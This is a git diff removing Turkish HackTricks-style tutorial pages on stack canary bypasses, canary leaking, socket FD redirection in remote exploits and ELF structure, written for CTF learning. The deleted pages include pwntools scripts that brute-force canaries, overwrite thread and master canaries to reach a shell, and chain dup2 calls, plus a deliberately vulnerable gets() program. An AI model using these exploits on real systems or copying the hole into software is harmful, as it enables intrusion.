Ancak, `fork()`'tan sonra `execve()` kullanmak bellek alanını yazdığı için saldırıyı geçersiz kılar. `vfork()`, çocuk sürecin yazma girişiminde bulunana kadar kopyalamadan çalışmasına izin verir; bu noktada bir kopya oluşturulur ve süreç oluşturma ve bellek yönetimi için farklı bir yaklaşım sunar. - -### Uzunluklar - -`x64` ikili dosyalarında, canary çerezi bir **`0x8`** byte qword'dur. **İlk yedi byte rastgeledir** ve son byte bir **null byte**'dır. - -`x86` ikili dosyalarında, canary çerezi bir **`0x4`** byte dword'dur. **İlk üç byte rastgeledir** ve son byte bir **null byte**'dır. - -> [!CAUTION] -> Her iki canary'nin en az anlamlı byte'ı bir null byte'dır çünkü bu, daha düşük adreslerden gelen yığında ilk olacak ve bu nedenle **string okuyan fonksiyonlar onu okumadan önce duracaktır**. - -## Bypass'ler - -**Canary'yi sızdırmak** ve ardından kendi değeriyle (örneğin, tampon taşması) üzerine yazmak. - -- Eğer **canary çocuk süreçlerde fork edilirse**, bir byte bir seferde **brute-force** yapmak mümkün olabilir: - -{{#ref}} -bf-forked-stack-canaries.md -{{#endref}} - -- İkili dosyada ilginç bir **sızıntı veya keyfi okuma açığı** varsa, onu sızdırmak mümkün olabilir: - -{{#ref}} -print-stack-canary.md -{{#endref}} - -- **Yığın üzerinde saklanan işaretçileri üzerine yazma** - -Yığın, bir yığın taşmasına karşı savunmasızsa, **string'lere veya işlevlere ait adresleri içerebilir** ve bu adresler, canary'ye ulaşmadan açığı istismar etmek için üzerine yazılabilir. Kontrol et: - -{{#ref}} -../../stack-overflow/pointer-redirecting.md -{{#endref}} - -- **Hem ana hem de iş parçacığı canary'sini değiştirme** - -Canary ile korunan bir iş parçacıklı fonksiyonda bir tampon taşması, iş parçacığının ana canary'sini değiştirmek için kullanılabilir. Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş) iki canary ile kullanılır. - -- **`__stack_chk_fail` GOT girişini değiştirme** - -Eğer ikili dosya Partial RELRO'ya sahipse, o zaman canary değiştiğinde programı engellemeyen sahte bir fonksiyon olacak şekilde `__stack_chk_fail`'in GOT girişini değiştirmek için keyfi bir yazma kullanabilirsiniz. - -## Referanslar - -- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) -- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -- 64 bit, no PIE, nx, iş parçacığı ve ana canary'yi değiştir. -- [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -- 64 bit, no PIE, nx, write-what-where primitive. `__stack_chk_fail`'in GOT girişini değiştir. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md deleted file mode 100644 index 40cd131a0..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ /dev/null @@ -1,218 +0,0 @@ -# BF Forked & Threaded Stack Canaries - -{{#include ../../../../banners/hacktricks-training.md}} - -**Eğer bir canary ve PIE (Position Independent Executable) ile korunmuş bir ikili dosya ile karşılaşıyorsanız, muhtemelen bunları aşmanın bir yolunu bulmanız gerekiyor.** - -![](<../../../../images/image (144).png>) - -> [!NOTE] -> **`checksec`**'in bir ikili dosyanın canary ile korunduğunu bulamayabileceğini unutmayın, eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneğine sahip değilse.\ -> Ancak, bir fonksiyon çağrısının başında yığında bir değerin saklandığını ve bu değerin çıkmadan önce kontrol edildiğini bulursanız, bunu manuel olarak fark edebilirsiniz. - -## Brute force Canary - -Basit bir canary'yi aşmanın en iyi yolu, ikili dosyanın her yeni bağlantı kurduğunuzda **çocuk süreçleri fork eden** bir program olmasıdır (ağ servisi), çünkü her bağlantı kurduğunuzda **aynı canary kullanılacaktır**. - -Bu durumda, canary'yi aşmanın en iyi yolu sadece **karakter karakter brute-force yapmak** ve tahmin edilen canary baytının doğru olup olmadığını, programın çöküp çökmediğini veya normal akışına devam edip etmediğini kontrol ederek anlamaktır. Bu örnekte, fonksiyon **8 Baytlık bir canary'yi (x64) brute-force yapar** ve doğru tahmin edilen bir bayt ile kötü bir bayt arasında ayrım yapar, sadece **bir yanıtın** sunucu tarafından geri gönderilip gönderilmediğini **kontrol ederek** (başka bir durumda **try/except** kullanmak da bir yol olabilir): - -### Örnek 1 - -Bu örnek 64 bit için uygulanmıştır ancak 32 bit için de kolayca uygulanabilir. -```python -from pwn import * - -def connect(): -r = remote("localhost", 8788) - -def get_bf(base): -canary = "" -guess = 0x0 -base += canary - -while len(canary) < 8: -while guess != 0xff: -r = connect() - -r.recvuntil("Username: ") -r.send(base + chr(guess)) - -if "SOME OUTPUT" in r.clean(): -print "Guessed correct byte:", format(guess, '02x') -canary += chr(guess) -base += chr(guess) -guess = 0x0 -r.close() -break -else: -guess += 1 -r.close() - -print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) -return base - -canary_offset = 1176 -base = "A" * canary_offset -print("Brute-Forcing canary") -base_canary = get_bf(base) #Get yunk data + canary -CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary -``` -### Örnek 2 - -Bu 32 bit için uygulanmıştır, ancak bu kolayca 64 bite değiştirilebilir.\ -Ayrıca bu örnek için **programın önce girişin boyutunu belirtmek için bir byte beklediğini** ve yükü. -```python -from pwn import * - -# Here is the function to brute force the canary -def breakCanary(): -known_canary = b"" -test_canary = 0x0 -len_bytes_to_read = 0x21 - -for j in range(0, 4): -# Iterate up to 0xff times to brute force all posible values for byte -for test_canary in range(0xff): -print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - -# Send the current input size -target.send(len_bytes_to_read.to_bytes(1, "little")) - -# Send this iterations canary -target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - -# Scan in the output, determine if we have a correct value -output = target.recvuntil(b"exit.") -if b"YUM" in output: -# If we have a correct value, record the canary value, reset the canary value, and move on -print(" - next byte is: " + hex(test_canary)) -known_canary = known_canary + test_canary.to_bytes(1, "little") -len_bytes_to_read += 1 -break - -# Return the canary -return known_canary - -# Start the target process -target = process('./feedme') -#gdb.attach(target) - -# Brute force the canary -canary = breakCanary() -log.info(f"The canary is: {canary}") -``` -## İplikler - -Aynı işlemin iplikleri de **aynı canary token'ını paylaşacaktır**, bu nedenle bir ikili her saldırı gerçekleştiğinde yeni bir iplik oluşturuyorsa, bir canary'yi **brute-force** yapmak mümkün olacaktır. - -Canary ile korunan bir iplikli işlevdeki bir buffer overflow, işlemin ana canary'sini değiştirmek için kullanılabilir. Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş olsa da) iki canary ile kullanılır. - -### Örnek - -Aşağıdaki program Buffer Overflow'a karşı savunmasızdır, ancak canary ile derlenmiştir: -```c -#include -#include -#include -#include - -// gcc thread_canary.c -no-pie -l pthread -o thread_canary - -void win() { -execve("/bin/sh", NULL, NULL); -} - -void* vuln() { -char data[0x20]; -gets(data); -} - -int main() { -pthread_t thread; - -pthread_create(&thread, NULL, vuln, NULL); -pthread_join(thread, NULL); - -return 0; -} -``` -`vuln`'ın bir iş parçacığı içinde çağrıldığını unutmayın. GDB'de `vuln`'a, özellikle programın girdi verilerini okumak için `gets`'i çağırdığı noktaya bakabiliriz: -```bash -gef> break gets -Breakpoint 1 at 0x4010a0 -gef> run -... -gef> x/10gx $rdi -0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000 -0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000 -0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800 -0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3 -0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640 -``` -Yukarıda, programın kullanıcı girişi yazacağı `data` adresi temsil edilmektedir. Stack canary `0x7ffff7d7ee48` (`0x493fdc653a156800`) adresinde bulunur ve dönüş adresi `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`) adresindedir: -```bash -gef> telescope $rdi 8 -n -0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi -0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000 -0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000 -0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000 -0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000 -0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary -0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp -0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 -> 0xe8ff31fffffe6fe9 <- retaddr[2] -``` -Yığın adreslerinin gerçek yığına ait olmadığını unutmayın: -```bash -gef> vmmap stack -[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ] -Start End Size Offset Perm Path -0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12 -0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15 -``` -İş parçacığının yığını, ana canary'nin saklandığı Thread Local Storage (TLS) üzerinde yer alır: -```bash -gef> tls -$tls = 0x7ffff7d7f640 -... ----------------------------------------------------------------------------- TLS ---------------------------------------------------------------------------- -0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12 -0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001 -0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected] -0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001 -0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000 -0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary -0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie -0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000 -... -``` -> [!NOTE] -> Yukarıdaki GDB fonksiyonlarının bazıları, genellikle [hugsy/gef](https://github.com/hugsy/gef) ile karşılaştırıldığında daha fazla özelliğe sahip olan [bata24/gef](https://github.com/bata24/gef) adlı bir uzantıda tanımlanmıştır. - -Sonuç olarak, büyük bir Buffer Overflow, hem stack canary'yi hem de TLS'deki master canary'yi değiştirmeye izin verebilir. Bu, ofsettir: -```bash -gef> p/x 0x7ffff7d7f668 - $rdi -$1 = 0x848 -``` -Bu, `win` çağırmak için kısa bir istismar: -```python -from pwn import * - -context.binary = 'thread_canary' - -payload = b'A' * 0x28 # buffer overflow offset -payload += b'BBBBBBBB' # overwritting stack canary -payload += b'A' * 8 # saved $rbp -payload += p64(context.binary.sym.win) # return address -payload += b'A' * (0x848 - len(payload)) # padding -payload += b'BBBBBBBB' # overwritting master canary - -io = context.binary.process() -io.sendline(payload) -io.interactive() -``` -## Diğer örnekler ve referanslar - -- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) -- 64 bit, PIE yok, nx, BF canary, `execve` çağırmak ve oraya atlamak için bazı belgelere bir ROP yazın. -- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -- 64 bit, PIE yok, nx, thread ve master canary'yi değiştirin. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md deleted file mode 100644 index 3457b4b11..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ /dev/null @@ -1,28 +0,0 @@ -# Print Stack Canary - -{{#include ../../../../banners/hacktricks-training.md}} - -## Büyütülmüş yığın yazdırma - -Bir **yığın taşması** açığına sahip bir **programın** **stack overflow**'un **bir kısmına** **işaret eden** bir **puts** fonksiyonunu çalıştırabileceği bir durumu hayal edin. Saldırgan, **kanaryanın ilk baytının bir null baytı** olduğunu (`\x00`) ve kanaryanın geri kalanının **rastgele** baytlar olduğunu bilir. Ardından, saldırgan **kanaryanın ilk baytına kadar yığını** **aşındıran** bir taşma oluşturabilir. - -Sonra, saldırgan **yükün** ortasında **puts fonksiyonunu** çağırır ve bu, **kanaryanın tümünü** (ilk null bayt hariç) **yazdırır**. - -Bu bilgiyle saldırgan, kanaryayı (aynı program oturumunda) bilerek **yeni bir saldırı oluşturup gönderebilir**. - -Açıkça, bu taktik çok **sınırlıdır** çünkü saldırganın **kanaryayı** **sızdırmak** için **yükünün** **içeriğini** **yazdırabilmesi** ve ardından **yeni bir yük** oluşturup (aynı program oturumunda) **gerçek tampon taşmasını** **gönderebilmesi** gerekir. - -**CTF örnekleri:** - -- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR etkin ama PIE yok, ilk adım kanaryanın 0x00 baytına kadar bir taşma doldurmak ve ardından puts'u çağırarak sızdırmaktır. Kanarya ile bir ROP aparatı oluşturulur ve puts'un GOT'dan adresini sızdırmak için puts'u çağırır ve ardından `system('/bin/sh')` çağırmak için bir ROP aparatı oluşturulur. - -## Keyfi Okuma - -Format **dizeleri** tarafından sağlanan bir keyfi okuma ile kanaryayı sızdırmak mümkün olabilir. Bu örneğe bakın: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) ve keyfi bellek adreslerini okumak için format dizelerini kötüye kullanma hakkında okuyabilirsiniz: - -{{#ref}} -../../format-strings/ -{{#endref}} - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md deleted file mode 100644 index 0235f7b32..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md +++ /dev/null @@ -1,36 +0,0 @@ -# Yaygın Sömürü Problemleri - -{{#include ../../banners/hacktricks-training.md}} - -## Uzak Sömürüde FD'ler - -Örneğin, **`system('/bin/sh')`** çağrısı yapan bir sömürü gönderdiğinizde, bu sunucu sürecinde çalıştırılacak ve `/bin/sh` stdin'den (FD: `0`) girdi bekleyecek ve stdout ile stderr'de (FD'ler `1` ve `2`) çıktıyı yazdıracaktır. Bu nedenle, saldırgan shell ile etkileşimde bulunamayacaktır. - -Bunu düzeltmenin bir yolu, sunucu başlatıldığında **FD numarası `3`** (dinleme için) oluşturduğunu ve ardından bağlantınızın **FD numarası `4`** olacağını varsaymaktır. Bu nedenle, stdin'i (FD 0) ve stdout'u (FD 1) FD 4'te (saldırganın bağlantısı) çoğaltmak için **`dup2`** sistem çağrısını kullanmak mümkündür, böylece shell çalıştırıldığında onunla iletişim kurmak mümkün olacaktır. - -[**Buradan sömürü örneği**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = remote('localhost', 9001) - -rop = ROP(elf) -rop.raw('A' * 40) -rop.dup2(4, 0) -rop.dup2(4, 1) -rop.win() - -p.sendline(rop.chain()) -p.recvuntil('Thanks!\x00') -p.interactive() -``` -## Socat & pty - -socat'ın zaten `stdin` ve `stdout`'u sokete aktardığını unutmayın. Ancak, `pty` modu **DELETE karakterlerini içerir**. Yani, bir `\x7f` (`DELETE` -) gönderirseniz, bu **saldırınızın önceki karakterini siler**. - -Bunu aşmak için **her gönderilen `\x7f`'ye `\x16` kaçış karakteri eklenmelidir.** - -**Burada bu davranışın** [**bir örneğini bulabilirsiniz**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md deleted file mode 100644 index 242fba324..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md +++ /dev/null @@ -1,382 +0,0 @@ -# ELF Tricks - -{{#include ../../banners/hacktricks-training.md}} - -## Program Headers - -Yükleyiciye ELF'yi belleğe nasıl yükleyeceğini tarif eder: -```bash -readelf -lW lnstat - -Elf file type is DYN (Position-Independent Executable file) -Entry point 0x1c00 -There are 9 program headers, starting at offset 64 - -Program Headers: -Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align -PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 -INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 -[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] -LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 -LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 -DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 -NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 -GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 -GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 -GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - -Section to Segment mapping: -Segment Sections... -00 -01 .interp -02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame -03 .init_array .fini_array .dynamic .got .data .bss -04 .dynamic -05 .note.gnu.build-id .note.ABI-tag .note.package -06 .eh_frame_hdr -07 -08 .init_array .fini_array .dynamic .got -``` -Önceki programda **9 program başlığı** bulunmaktadır, ardından **segment haritalaması** her bölümün hangi program başlığında (00'dan 08'e kadar) **bulunduğunu** gösterir. - -### PHDR - Program HeaDeR - -Program başlığı tablolarını ve meta verileri içerir. - -### INTERP - -İkili dosyayı belleğe yüklemek için kullanılacak yükleyicinin yolunu gösterir. - -### LOAD - -Bu başlıklar, **bir ikili dosyayı belleğe nasıl yükleyeceğinizi** belirtmek için kullanılır.\ -Her **LOAD** başlığı, **bellek** bölgesini (boyut, izinler ve hizalama) belirtir ve ELF **ikilisinden kopyalanacak baytları** gösterir. - -Örneğin, ikincisi 0x1190 boyutundadır, 0x1fc48'de bulunmalı, okuma ve yazma izinlerine sahip olmalı ve 0xfc48'den 0x528 ile doldurulacaktır (tüm ayrılan alanı doldurmaz). Bu bellek, `.init_array .fini_array .dynamic .got .data .bss` bölümlerini içerecektir. - -### DYNAMIC - -Bu başlık, programları kütüphane bağımlılıklarına bağlamaya ve yeniden konumlandırmaları uygulamaya yardımcı olur. **`.dynamic`** bölümüne bakın. - -### NOTE - -Bu, ikili dosya hakkında satıcı meta veri bilgilerini saklar. - -### GNU_EH_FRAME - -Yığın geri sarma tablolarının konumunu tanımlar, bu tablolar hata ayıklayıcılar ve C++ istisna işleme çalışma zamanı işlevleri tarafından kullanılır. - -### GNU_STACK - -Yığın yürütme önleme savunmasının yapılandırmasını içerir. Etkinleştirilirse, ikili dosya yığından kod çalıştıramaz. - -### GNU_RELRO - -İkili dosyanın RELRO (Yeniden Konumlandırma Salt Okunur) yapılandırmasını gösterir. Bu koruma, program yüklendikten sonra ve çalışmaya başlamadan önce belleğin belirli bölümlerini (örneğin `GOT` veya `init` ve `fini` tabloları) salt okunur olarak işaretler. - -Önceki örnekte, 0x3b8 baytını 0x1fc48'e salt okunur olarak kopyalıyor ve `.init_array .fini_array .dynamic .got .data .bss` bölümlerini etkiliyor. - -RELRO'nun kısmi veya tam olabileceğini unutmayın, kısmi versiyon **`.plt.got`** bölümünü korumaz, bu bölüm **tembel bağlama** için kullanılır ve kütüphanelerin adresini arandığında yazma izinlerine sahip bu bellek alanına ihtiyaç duyar. - -### TLS - -İş parçacığına özgü değişkenler hakkında bilgi saklayan bir TLS girişleri tablosunu tanımlar. - -## Bölüm Başlıkları - -Bölüm başlıkları, ELF ikilisinin daha ayrıntılı bir görünümünü sunar. -``` -objdump lnstat -h - -lnstat: file format elf64-littleaarch64 - -Sections: -Idx Name Size VMA LMA File off Algn -0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 -CONTENTS, ALLOC, LOAD, READONLY, DATA -1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 -CONTENTS, ALLOC, LOAD, READONLY, DATA -7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 -CONTENTS, ALLOC, LOAD, READONLY, DATA -8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 -CONTENTS, ALLOC, LOAD, READONLY, CODE -12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 -CONTENTS, ALLOC, LOAD, READONLY, CODE -13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 -CONTENTS, ALLOC, LOAD, READONLY, CODE -14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 -CONTENTS, ALLOC, LOAD, READONLY, CODE -15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 -CONTENTS, ALLOC, LOAD, DATA -19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 -CONTENTS, ALLOC, LOAD, DATA -20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 -CONTENTS, ALLOC, LOAD, DATA -21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 -CONTENTS, ALLOC, LOAD, DATA -22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 -CONTENTS, ALLOC, LOAD, DATA -23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 -ALLOC -24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 -CONTENTS, READONLY -25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 -CONTENTS, READONLY -``` -Aynı zamanda konum, ofset, izinler ve bölümün **veri türü** hakkında bilgi verir. - -### Meta Bölümleri - -- **String table**: ELF dosyası için gerekli olan tüm dizeleri içerir (ancak program tarafından gerçekten kullanılanları değil). Örneğin, `.text` veya `.data` gibi bölüm adlarını içerir. Ve eğer `.text` string tablosunda 45. ofsette ise, **name** alanında **45** numarasını kullanır. -- String tablosunun nerede olduğunu bulmak için, ELF string tablosuna bir işaretçi içerir. -- **Symbol table**: Semboller hakkında isim (string tablosundaki ofset), adres, boyut ve sembol hakkında daha fazla meta veri gibi bilgileri içerir. - -### Ana Bölümler - -- **`.text`**: Çalıştırılacak programın talimatları. -- **`.data`**: Programda tanımlı bir değere sahip global değişkenler. -- **`.bss`**: Başlatılmamış (veya sıfıra başlatılmış) global değişkenler. Buradaki değişkenler otomatik olarak sıfıra başlatılır, böylece gereksiz sıfırların ikili dosyaya eklenmesi engellenir. -- **`.rodata`**: Sabit global değişkenler (salt okunur bölüm). -- **`.tdata`** ve **`.tbss`**: Thread-local değişkenler kullanıldığında .data ve .bss gibi (`__thread_local` C++'ta veya `__thread` C'de). -- **`.dynamic`**: Aşağıya bakın. - -## Semboller - -Semboller, programda bir fonksiyon, bir global veri nesnesi, thread-local değişkenler olabilecek adlandırılmış bir konumdur... -``` -readelf -s lnstat - -Symbol table '.dynsym' contains 49 entries: -Num: Value Size Type Bind Vis Ndx Name -0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND -1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init -2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data -3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) -4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) -5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) -6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) -7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) -8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) -9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) -10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] -11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) -12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) -[...] -``` -Her sembol girişi şunları içerir: - -- **İsim** -- **Bağlama özellikleri** (zayıf, yerel veya küresel): Yerel bir sembol yalnızca program tarafından erişilebilirken, küresel semboller programın dışındaki paylaşılan sembollerdir. Zayıf bir nesne, örneğin, farklı bir fonksiyonla geçersiz kılınabilen bir fonksiyondur. -- **Tür**: NOTYPE (tip belirtilmemiş), OBJECT (küresel veri değişkeni), FUNC (fonksiyon), SECTION (bölüm), FILE (hata ayıklayıcılar için kaynak kodu dosyası), TLS (iş parçacığına özgü değişken), GNU_IFUNC (yer değiştirme için dolaylı fonksiyon) -- **Bölüm** indeksi nerede bulunduğu -- **Değer** (bellek adresi) -- **Boyut** - -## Dinamik Bölüm -``` -readelf -d lnstat - -Dynamic section at offset 0xfc58 contains 28 entries: -Tag Type Name/Value -0x0000000000000001 (NEEDED) Shared library: [libc.so.6] -0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] -0x000000000000000c (INIT) 0x1088 -0x000000000000000d (FINI) 0x2f74 -0x0000000000000019 (INIT_ARRAY) 0x1fc48 -0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) -0x000000000000001a (FINI_ARRAY) 0x1fc50 -0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) -0x000000006ffffef5 (GNU_HASH) 0x338 -0x0000000000000005 (STRTAB) 0x7f0 -0x0000000000000006 (SYMTAB) 0x358 -0x000000000000000a (STRSZ) 510 (bytes) -0x000000000000000b (SYMENT) 24 (bytes) -0x0000000000000015 (DEBUG) 0x0 -0x0000000000000003 (PLTGOT) 0x1fe58 -0x0000000000000002 (PLTRELSZ) 960 (bytes) -0x0000000000000014 (PLTREL) RELA -0x0000000000000017 (JMPREL) 0xcc8 -0x0000000000000007 (RELA) 0xaa0 -0x0000000000000008 (RELASZ) 552 (bytes) -0x0000000000000009 (RELAENT) 24 (bytes) -0x000000000000001e (FLAGS) BIND_NOW -0x000000006ffffffb (FLAGS_1) Flags: NOW PIE -0x000000006ffffffe (VERNEED) 0xa50 -0x000000006fffffff (VERNEEDNUM) 2 -0x000000006ffffff0 (VERSYM) 0x9ee -0x000000006ffffff9 (RELACOUNT) 15 -0x0000000000000000 (NULL) 0x0 -``` -NEEDED dizini, programın devam edebilmesi için **belirtilen kütüphaneyi yüklemesi gerektiğini** gösterir. NEEDED dizini, paylaşılan **kütüphane tamamen çalışır ve kullanıma hazır olduğunda** tamamlanır. - -## Yeniden Konumlandırmalar - -Yükleyici, bağımlılıkları yükledikten sonra yeniden konumlandırmak zorundadır. Bu yeniden konumlandırmalar, REL veya RELA formatlarında yeniden konumlandırma tablosunda belirtilir ve yeniden konumlandırmaların sayısı dinamik bölümlerde RELSZ veya RELASZ ile verilir. -``` -readelf -r lnstat - -Relocation section '.rela.dyn' at 